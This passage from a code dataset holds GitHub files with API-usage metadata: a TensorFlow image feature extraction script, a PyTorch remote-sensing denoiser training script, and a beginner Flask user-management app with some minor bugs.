"usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}]} +{"seq_id": "41932680334", "text": "import tensorflow as tf\nfrom scipy import misc\nfrom os import listdir\nfrom os.path import isfile, join\nimport data_loader\nimport utils\nimport argparse\nimport numpy as np\nimport pickle\nimport h5py\nimport time\nfrom Models import vgg16, resnet\nimport json\nimport shutil\nimport os\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--split', type=str, default='train',\n help='train/val/test')\n parser.add_argument('--batch_size', type=int, default=64,\n help='Batch Size')\n parser.add_argument('--feature_layer', type=str, default=\"block4\",\n help='CONV FEATURE LAYER, fc7, pool5 or block4')\n parser.add_argument('--model', type=str, default=\"vgg\",\n help='resnet')\n args = parser.parse_args()\n\n if args.split == \"train\":\n with open('Data/annotations/captions_abstract_v002_train2015.json') as f:\n images = json.loads(f.read())['images']\n else:\n with open('Data/annotations/captions_abstract_v002_val2015.json') as f:\n images = json.loads(f.read())['images']\n\n image_ids = {image['image_id']: 1 for image in images}\n image_id_list = [img_id for img_id in image_ids]\n print(\"Total Images\", len(image_id_list))\n\n try:\n shutil.rmtree('Data/conv_features_{}_{}'.format(args.split, args.model))\n except:\n pass\n\n os.makedirs('Data/conv_features_{}_{}'.format(args.split, args.model))\n\n if args.model == \"vgg\":\n cnn_model = vgg16.create_vgg_model(448, only_conv=args.feature_layer != 'fc7')\n else:\n cnn_model = resnet.create_resnet_model(448)\n\n image_id_file_name = \"Data/conv_features_{}_{}/image_id_list_{}.h5\".format(args.split, args.model,\n args.feature_layer)\n h5f_image_id_list = h5py.File(image_id_file_name, 'w')\n h5f_image_id_list.create_dataset('image_id_list', data=image_id_list)\n h5f_image_id_list.close()\n\n conv_file_name = \"Data/conv_features_{}_{}/conv_features_{}.h5\".format(args.split, args.model, args.feature_layer)\n hdf5_conv_file = h5py.File(conv_file_name, 'w')\n\n if args.feature_layer == \"fc7\":\n conv_features = None\n feature_shape = (len(image_id_list), 4096)\n img_dim = 224\n\n else:\n if args.model == \"vgg\":\n conv_features = None\n feature_shape = (len(image_id_list), 14, 14, 512)\n img_dim = 448\n else:\n conv_features = None\n feature_shape = (len(image_id_list), 14 * 14 * 2048)\n img_dim = 448\n print(\"it's done!!!\")\n\n hdf5_data = hdf5_conv_file.create_dataset('conv_features', shape=feature_shape,\n dtype='f')\n\n sess = cnn_model['session']\n images = cnn_model['images_placeholder']\n image_feature_layer = cnn_model[args.feature_layer]\n\n idx = 0\n while idx < len(image_id_list):\n start = time.clock()\n\n image_batch = np.ndarray((args.batch_size, img_dim, img_dim, 3))\n\n count = 0\n for i in range(0, args.batch_size):\n if idx >= len(image_id_list):\n break\n\n image_file = ('Data/train2014/abstract_v002_%s2015_%.12d.jpg' % (args.split, image_id_list[idx]))\n\n if args.model == 'resnet':\n image_array = sess.run(cnn_model['processed_image'], feed_dict={\n cnn_model['pre_image']: utils.load_image_array(image_file, img_dim=None)\n })\n else:\n image_array = utils.load_image_array(image_file, img_dim=img_dim)\n\n image_batch[i, :, :, :] = image_array\n idx += 1\n count += 1\n\n feed_dict = {images: image_batch[0:count, :, :, :]}\n conv_features_batch = sess.run(image_feature_layer, feed_dict=feed_dict)\n # conv_features_batch = np.reshape(conv_features_batch, ( conv_features_batch.shape[0], -1 ))\n hdf5_data[(idx - count):idx] = conv_features_batch[0:count]\n\n end = time.clock()\n print(\"Time for batch of photos\", end - start)\n print(\"Hours Remaining\", ((len(image_id_list) - idx) * 1.0) * (end - start) / 60.0 / 60.0 / args.batch_size)\n print(\"Images Processed\", idx)\n\n hdf5_conv_file.close()\n print(\"Done!\")\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "SaiSriNarne/BigDataAnalytics", "sub_path": "VisualQuestionAnswer/extract_conv_features.py", "file_name": "extract_conv_features.py", "file_ext": "py", "file_size_in_byte": 4406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 19, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 32, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 35, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 42, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 46, "usage_type": "call"}, {"api_name": "Models.vgg16.create_vgg_model", "line_number": 49, "usage_type": "call"}, {"api_name": "Models.vgg16", "line_number": 49, "usage_type": "name"}, {"api_name": "Models.resnet.create_resnet_model", "line_number": 51, "usage_type": "call"}, {"api_name": "Models.resnet", "line_number": 51, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 55, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 60, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 89, "usage_type": "call"}, {"api_name": "utils.load_image_array", "line_number": 100, "usage_type": "call"}, {"api_name": "utils.load_image_array", "line_number": 103, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 114, "usage_type": "call"}]} +{"seq_id": "17700049366", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport argparse\nfrom glob import glob\nimport os\nimport time\n\nimport numpy as np\nimport torch\n\nfrom Dataset import CustomDataset, ValDataset\nfrom model import AE\nfrom utils import init_weights, save_model, save_checkpoint, load_train_data\nfrom torch.utils.data import DataLoader\n\n# todo : change paths\nbasedir = '/home/alderson/Desktop/MVA/Remote Sensing/Project'\ndatasetdir = basedir + '/data'\n\ntorch.manual_seed(1)\n\nparser = argparse.ArgumentParser(description='')\nparser.add_argument('--epoch', dest='epoch', type=int, default=30, help='# of epoch')\nparser.add_argument('--batch_size', dest='batch_size', type=int, default=12, help='# images in batch')\nparser.add_argument('--val_batch_size', dest='val_batch_size', type=int, default=1, help='# images in batch')\n\nparser.add_argument('--patch_size', dest='patch_size', type=int, default=256, help='# size of a patch')\nparser.add_argument('--stride_size', dest='stride_size', type=int, default=32, help='# size of the stride')\nparser.add_argument('--n_data_augmentation', dest='n_data_augmentation',\n type=int, default=1, help='# data aug techniques')\nparser.add_argument('--lr', dest='lr', type=float, default=0.001, help='initial learning rate for adam')\nparser.add_argument('--weight_decay', dest='weight_decay', type=float, default=0.001, help='weight decay for adam')\n\nparser.add_argument('--use_gpu', dest='use_gpu', type=int, default=1, help='gpu flag, 1 for GPU and 0 for CPU')\nparser.add_argument('--phase', dest='phase', default='train', help='train or test')\nparser.add_argument('--checkpoint_dir', dest='ckpt_dir', default=basedir + '/checkpoint',\n help='models are saved here')\nparser.add_argument('--sample_dir', dest='sample_dir', default=datasetdir + '/sample', help='sample are saved here')\nparser.add_argument('--test_dir', dest='test_dir', default=datasetdir + '/test', help='test sample are saved here')\nparser.add_argument('--eval_set', dest='eval_set', default=datasetdir +\n '/val/gt/npy', help='dataset for eval in training')\nparser.add_argument('--test_set', dest='test_set', default=datasetdir +\n '/test/gt/npy', help='dataset for testing')\nparser.add_argument('--training_set', dest='training_set', default=datasetdir + '/train/gt/npy',\n help='dataset for training')\nparser.add_argument('--device', dest='device',\n default=torch.device('cuda:0' if torch.cuda.is_available() else 'cpu'), help='gpu or cpu')\nparser.add_argument('--train_line_detection_path',\n help='Path to directory containing line detector images of the training images. The filenames '\n 'must match exactly between the raw images and the lines images.')\nparser.add_argument('--test_line_detection_path',\n help='Path to directory containing line detector images of the testing images. The filenames '\n 'must match exactly between the raw images and the lines images.')\nparser.add_argument('--loss', help='loss function to use. supported : \\'l2\\', \\'l1\\', \\'ms-ssim\\', \\'ms-ssim-l1\\'',\n default='l2')\n\nargs = parser.parse_args()\n\ntorch.autograd.set_detect_anomaly(True)\n\n\ndef fit(model, train_loader, val_loader, epochs, lr_list, gn_list,\n eval_files, eval_set, checkpoint_folder, n_checkpoint=1):\n \"\"\" Fit the model according to the given evaluation data and parameters.\n\n Parameters\n ----------\n model : model as defined in main\n train_loader : Pytorch's DataLoader of training data\n val_loader : Pytorch's DataLoader of validation data\n lr_list : list of learning rates\n eval_files : .npy files used for evaluation in training\n eval_set : directory of dataset used for evaluation in training\n\n Returns\n ----------\n self : object\n Fitted estimator.\n\n \"\"\"\n\n train_losses = []\n val_losses = []\n history = {}\n ckpt_files = glob(checkpoint_folder+'/checkpoint_*')\n if len(ckpt_files) == 0:\n epoch_num = 0\n model.apply(init_weights)\n loss = 0.0\n print('[*] Not find pre-trained model! Start training froms scratch')\n else:\n max_file = max(ckpt_files, key=os.path.getctime)\n checkpoint = torch.load(max_file)\n model.load_state_dict(checkpoint['model_state_dict'])\n model.train()\n epoch_num = checkpoint['epoch_num']\n optimizer = torch.optim.Adam(model.parameters(), lr=lr_list[epoch_num-1])\n optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n loss = checkpoint['loss']\n\n print('[*] Model restored! Resume training from latest checkpoint at '+max_file)\n\n with torch.no_grad():\n image_num = 0\n for batch in val_loader:\n val_loss = model.validation_step(batch, image_num, epoch_num, eval_files, eval_set)\n image_num = image_num+1\n\n start_time = time.time()\n for epoch in range(epoch_num, epochs):\n epoch_num = epoch_num+1\n print('\\nEpoch', epoch_num)\n print('\\nLearning rate', lr_list[epoch])\n print('\\nGradient norm', gn_list[epoch])\n print('***************** \\n')\n optimizer = torch.optim.Adam(model.parameters(), lr=lr_list[epoch])\n\n # Train\n for i, batch in enumerate(train_loader, 0):\n running_loss = 0.0\n\n optimizer.zero_grad()\n loss = model.training_step(batch)\n train_losses.append(loss)\n\n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=gn_list[epoch])\n optimizer.step()\n\n # running_loss += loss.item() # extract the loss value\n print('[%d, %5d] time: %4.4f, loss: %.6f' % (epoch_num, i + 1, time.time()-start_time, loss))\n # zero the loss\n running_loss = 0.0\n\n if epoch_num % n_checkpoint == 0:\n save_checkpoint(model, checkpoint_folder, epoch_num, optimizer, loss)\n with torch.no_grad():\n image_num = 0\n for batch in val_loader:\n model.validation_step(batch, image_num, epoch_num, eval_files, eval_set)\n image_num = image_num+1\n\n # print('For epoch', epoch+1,'the last validation loss is :',val_losses)\n\n history['train_loss'] = train_losses\n history['validation_loss'] = val_losses\n # save current checkpoint\n\n return history\n\n\ndef denoiser_train(model, lr_list, gn_list):\n \"\"\" Runs the denoiser algorithm for the training and evaluation dataset\n\n Parameters\n ----------\n model : model as defined in main\n lr_list : list of learning rates\n\n Returns\n ----------\n history : list of both training and validation loss\n\n \"\"\"\n # Prepare train DataLoader\n train_data = load_train_data(args.training_set, args.patch_size, args.batch_size,\n args.stride_size, args.n_data_augmentation, args.train_line_detection_path) # range [0; 1]\n print(f'train_data.shape : {train_data.shape}')\n train_dataset = CustomDataset(train_data)\n\n train_loader = DataLoader(train_dataset, batch_size=args.batch_size, shuffle=True, drop_last=True)\n\n # Prepare Validation DataLoader\n eval_dataset = ValDataset(args.test_set, args.test_line_detection_path) # range [0; 1]\n eval_loader = DataLoader(\n eval_dataset, batch_size=args.val_batch_size, shuffle=False, drop_last=True)\n eval_files = eval_dataset.files\n\n # Train the model\n history = fit(model, train_loader, eval_loader, args.epoch, lr_list,\n gn_list, eval_files, args.eval_set, args.ckpt_dir)\n\n # Save the model\n save_model(model, args.ckpt_dir)\n print('\\n model saved at :', args.ckpt_dir)\n return history\n\n\ndef denoiser_test(model):\n \"\"\" Runs the test denoiser algorithm\n\n Parameters\n ----------\n model : model as defined in main\n\n Returns\n ----------\n\n \"\"\"\n # Prepare Validation DataLoader\n test_dataset = ValDataset(args.test_set, args.test_line_detection_path) # range [0; 1]\n test_loader = DataLoader(\n test_dataset, batch_size=args.val_batch_size, shuffle=False, drop_last=True)\n test_files = glob(os.path.join(args.test_set, '*.npy'))\n\n val_losses = []\n ckpt_files = glob(args.ckpt_dir+'/checkpoint_*')\n if len(ckpt_files) == 0:\n print('[*] Not find pre-trained model! ')\n return None\n\n else:\n max_file = max(ckpt_files, key=os.path.getctime)\n checkpoint = torch.load(max_file)\n model.load_state_dict(checkpoint['model_state_dict'])\n # model.train()\n\n print('[*] Model restored! Start testing...')\n\n with torch.no_grad():\n image_num = 0\n for batch in test_loader:\n print(image_num)\n model.test_step(batch, image_num, test_files, args.test_set, args.test_dir)\n image_num = image_num+1\n\n\ndef main():\n if not os.path.exists(args.ckpt_dir):\n os.makedirs(args.ckpt_dir)\n if not os.path.exists(args.sample_dir):\n os.makedirs(args.sample_dir)\n if not os.path.exists(args.test_dir):\n os.makedirs(args.test_dir)\n\n # prepare directories to save images generated during training\n n_run_directories = len(glob(os.path.join(args.sample_dir, '*')))\n while os.path.isdir(os.path.join(args.sample_dir, f'run_{n_run_directories}')):\n n_run_directories += 1\n os.makedirs(os.path.join(args.sample_dir, f'run_{n_run_directories}'))\n os.makedirs(os.path.join(args.sample_dir, f'run_{n_run_directories}', 'val'))\n os.makedirs(os.path.join(args.sample_dir, f'run_{n_run_directories}', 'test'))\n\n # learning rate list\n lr = args.lr * np.ones([args.epoch])\n lr[10:20] = lr[0]/10\n lr[20:] = lr[0]/100\n # gradient norm list\n gn = 5.0*np.ones([args.epoch]) # not used here\n\n in_channels = 2 if args.train_line_detection_path else 1\n\n model = AE(in_channels, args.batch_size, args.val_batch_size, args.device,\n save_val_dir=os.path.join(args.sample_dir, f'run_{n_run_directories}', 'val'),\n save_test_dir=os.path.join(args.sample_dir, f'run_{n_run_directories}', 'test'),\n loss=args.loss)\n model.to(args.device)\n\n if args.phase == 'train':\n denoiser_train(model, lr, gn)\n elif args.phase == 'test':\n denoiser_test(model)\n else:\n print('[!]Unknown phase')\n exit(0)\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "louisbzk/mva_remote_sensing_project", "sub_path": "src/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 10532, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.manual_seed", "line_number": 20, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 47, "usage_type": "attribute"}, {"api_name": "torch.autograd.set_detect_anomaly", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 59, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 85, "usage_type": "call"}, {"api_name": "model.apply", "line_number": 88, "usage_type": "call"}, {"api_name": "utils.init_weights", "line_number": 88, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 93, "usage_type": "call"}, {"api_name": "model.load_state_dict", "line_number": 94, "usage_type": "call"}, {"api_name": "model.train", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 97, "usage_type": "attribute"}, {"api_name": "model.parameters", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 103, "usage_type": "call"}, {"api_name": "model.validation_step", "line_number": 106, "usage_type": "call"}, {"api_name": "time.time", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 116, "usage_type": "attribute"}, {"api_name": "model.parameters", "line_number": 116, "usage_type": "call"}, {"api_name": "model.training_step", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.nn.utils.clip_grad_norm_", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 127, "usage_type": "attribute"}, {"api_name": "model.parameters", "line_number": 127, "usage_type": "call"}, {"api_name": "time.time", "line_number": 131, "usage_type": "call"}, {"api_name": "utils.save_checkpoint", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 137, "usage_type": "call"}, {"api_name": "model.validation_step", "line_number": 140, "usage_type": "call"}, {"api_name": "utils.load_train_data", "line_number": 166, "usage_type": "call"}, {"api_name": "Dataset.CustomDataset", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 171, "usage_type": "call"}, {"api_name": "Dataset.ValDataset", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 175, "usage_type": "call"}, {"api_name": "utils.save_model", "line_number": 184, "usage_type": "call"}, {"api_name": "Dataset.ValDataset", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 202, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 204, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 204, "usage_type": "call"}, {"api_name": "os.path", "line_number": 204, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 207, "usage_type": "call"}, {"api_name": "os.path", "line_number": 213, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 214, "usage_type": "call"}, {"api_name": "model.load_state_dict", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 220, "usage_type": "call"}, {"api_name": "model.test_step", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 229, "usage_type": "call"}, {"api_name": "os.path", "line_number": 229, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 230, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 232, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 233, "usage_type": "call"}, {"api_name": "os.path", "line_number": 233, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 234, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 237, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 238, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 240, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 240, "usage_type": "call"}, {"api_name": "os.path", "line_number": 240, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path", "line_number": 241, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path", "line_number": 242, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 249, "usage_type": "call"}, {"api_name": "model.AE", "line_number": 253, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path", "line_number": 254, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 255, "usage_type": "call"}, {"api_name": "os.path", "line_number": 255, "usage_type": "attribute"}, {"api_name": "model.to", "line_number": 257, "usage_type": "call"}]} +{"seq_id": "1457789202", "text": "from flask import Flask, render_template, request, redirect, url_for\nfrom models.users import Db, User\nfrom modules.userform import UserForm\nfrom modules.deleteform import DeleteForm\nfrom modules.updateform import UpdateForm\nfrom modules.randomform import RandomForm\nimport psycopg2\nimport random\nimport string\nfrom modules.specificform import SpecificForm\nfrom flask_heroku import Heroku\nfrom os import environ\nimport os\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get('DATABASE_URL')\n#app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\nDb.init_app(app)\n\n\n@app.route('/')\ndef index():\n # Query all\n users = User.query.all()\n\n for user in users:\n \tUser.toString(user)\n\n return render_template(\"index.html\",user=user,users=users)\n\n@app.route('/specificuser', methods=['GET', 'POST'])\ndef specificUser():\n form = SpecificForm()\n # If GET\n if request.method == 'GET':\n return render_template('specificuser.html', form=form)\n # If POST\n else:\n if form.validate_on_submit():\n first_name = request.form['first_name']\n specificuser = User.query.filter_by(first_name=first_name).first()\n return render_template('showuser.html',specificuser=specificuser)\n else:\n return render_template('specificuser.html', form=form)\n\n# @route /adduser//\n@app.route('/specificuser/')\ndef specificUserFromUrl(first_name):\n specificuser = User.query.filter_by(first_name=first_name).first()\n return render_template('showuser.html',specificuser=specificuser)\n\n\n# @route /adduser - GET, POST\n@app.route('/adduser', methods=['GET', 'POST'])\ndef addUser():\n form = UserForm()\n # If GET\n if request.method == 'GET':\n return render_template('adduser.html', form=form)\n # If POST\n else:\n if form.validate_on_submit():\n first_name = request.form['first_name']\n age = request.form['age']\n new_user = User(first_name=first_name, age=age)\n Db.session.add(new_user)\n Db.session.commit()\n return redirect(url_for('index'))\n else:\n return render_template('adduser.html', form=form)\n\n# @route /adduser//\n@app.route('/adduser//')\ndef addUserFromUrl(first_name, age):\n Db.session.add(User(first_name=first_name, age=age))\n Db.session.commit()\n return redirect(url_for('index'))\n\n\n@app.route('/deleteuser', methods=['GET', 'POST'])\ndef DeleteUser():\n form = DeleteForm()\n # If GET\n if request.method == 'GET':\n return render_template('deleteuser.html', form=form)\n # If POST\n else:\n if form.validate_on_submit():\n user_id = request.form['user_id']\n delete_user = User.query.filter_by(user_id=user_id).first()\n Db.session.delete(delete_user)\n Db.session.commit()\n return redirect(url_for('index'))\n else:\n return render_template('deleteuser.html', form=form)\n\n# @route /adduser//\n@app.route('/deleteuser/')\ndef deleteUserFromUrl(user_id):\n Db.session.delete(User(user_id=user_id))\n Db.session.commit()\n return redirect(url_for('index'))\n\n@app.route('/updateuser', methods=['GET', 'POST'])\ndef UpdateUser():\n form = UpdateForm()\n # If GET\n if request.method == 'GET':\n return render_template('updateuser.html', form=form)\n # If POST\n else:\n if form.validate_on_submit():\n user_id = request.form['user_id']\n udfirst_name = request.form['first_name']\n udage = request.form['age']\n update_user = User.query.filter_by(user_id=user_id).first()\n update_user.first_name = udfirst_name\n update_user.age = udage\n Db.session.commit()\n return redirect(url_for('index'))\n else:\n return render_template('updateuser.html', form=form)\n\n@app.route('/updateuser///')\ndef updateUserFromUrl(user_id,udfirst_name,udage):\n update_user = User.query.filter_by(user_id=user_id).first()\n update_user.first_name = udfirst_name\n update_user.age = udage\n Db.session.commit()\n return redirect(url_for('index'))\n\n@app.route('/randomuser', methods=['GET', 'POST'])\ndef RandomUser():\n form = RandomForm()\n # Random string with the combination of lower and upper case\n letters = string.ascii_letters\n # If GET\n if request.method == 'GET':\n return render_template('randomuser.html', form=form)\n # If POST\n else:\n if form.validate_on_submit():\n randomnumber = int(request.form['numberofusers'])\n for i in range (randomnumber):\n \tresult_str = ''.join(random.choice(letters) for x in range(5))\n \tfirst_name = result_str\n \tage = random.randrange(100)\n \tnew_user = User(first_name=first_name, age=age)\n \tDb.session.add(new_user)\n Db.session.commit()\n return redirect(url_for('index'))\n else:\n return render_template('randomuser.html', form=form)\n\n@app.route('/randomuser/')\ndef randomUserFromUrl(numberofusers):\n randomnumber = int(request.form['numberofusers'])\n for i in range (randomnumber):\n result_str = ''.join(random.choice(letters) for x in range(5))\n first_name = result_str\n age = random.randrange(100)\n new_user = User(first_name=first_name, age=age)\n Db.session.add(new_user)\n Db.session.commit()\n return redirect(url_for('index'))\n\n", "repo_name": "Aaron040222/s14lab3", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 5611, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 16, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "models.users.Db.init_app", "line_number": 18, "usage_type": "call"}, {"api_name": "models.users.Db", "line_number": 18, "usage_type": "name"}, {"api_name": "models.users.User.query.all", "line_number": 24, "usage_type": "call"}, {"api_name": "models.users.User.query", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.users.User", "line_number": 24, "usage_type": "name"}, {"api_name": "models.users.User.toString", "line_number": 27, "usage_type": "call"}, {"api_name": "models.users.User", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 29, "usage_type": "call"}, {"api_name": "modules.specificform.SpecificForm", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "models.users.User.query.filter_by", "line_number": 41, "usage_type": "call"}, {"api_name": "models.users.User.query", "line_number": 41, "usage_type": "attribute"}, {"api_name": "models.users.User", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 44, "usage_type": "call"}, {"api_name": "models.users.User.query.filter_by", "line_number": 49, "usage_type": "call"}, {"api_name": "models.users.User.query", "line_number": 49, "usage_type": "attribute"}, {"api_name": "models.users.User", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}, {"api_name": "modules.userform.UserForm", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 58, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 63, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 63, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 64, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 64, "usage_type": "name"}, {"api_name": "models.users.User", "line_number": 65, "usage_type": "call"}, {"api_name": "models.users.Db.session.add", "line_number": 66, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 66, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 66, "usage_type": "name"}, {"api_name": "models.users.Db.session.commit", "line_number": 67, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 67, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 67, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 70, "usage_type": "call"}, {"api_name": "models.users.Db.session.add", "line_number": 75, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 75, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 75, "usage_type": "name"}, {"api_name": "models.users.User", "line_number": 75, "usage_type": "call"}, {"api_name": "models.users.Db.session.commit", "line_number": 76, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 76, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 77, "usage_type": "call"}, {"api_name": "modules.deleteform.DeleteForm", "line_number": 82, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 84, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 84, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 89, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 89, "usage_type": "name"}, {"api_name": "models.users.User.query.filter_by", "line_number": 90, "usage_type": "call"}, {"api_name": "models.users.User.query", "line_number": 90, "usage_type": "attribute"}, {"api_name": "models.users.User", "line_number": 90, "usage_type": "name"}, {"api_name": "models.users.Db.session.delete", "line_number": 91, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 91, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 91, "usage_type": "name"}, {"api_name": "models.users.Db.session.commit", "line_number": 92, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 92, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 92, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 95, "usage_type": "call"}, {"api_name": "models.users.Db.session.delete", "line_number": 100, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 100, "usage_type": "attribute"}, 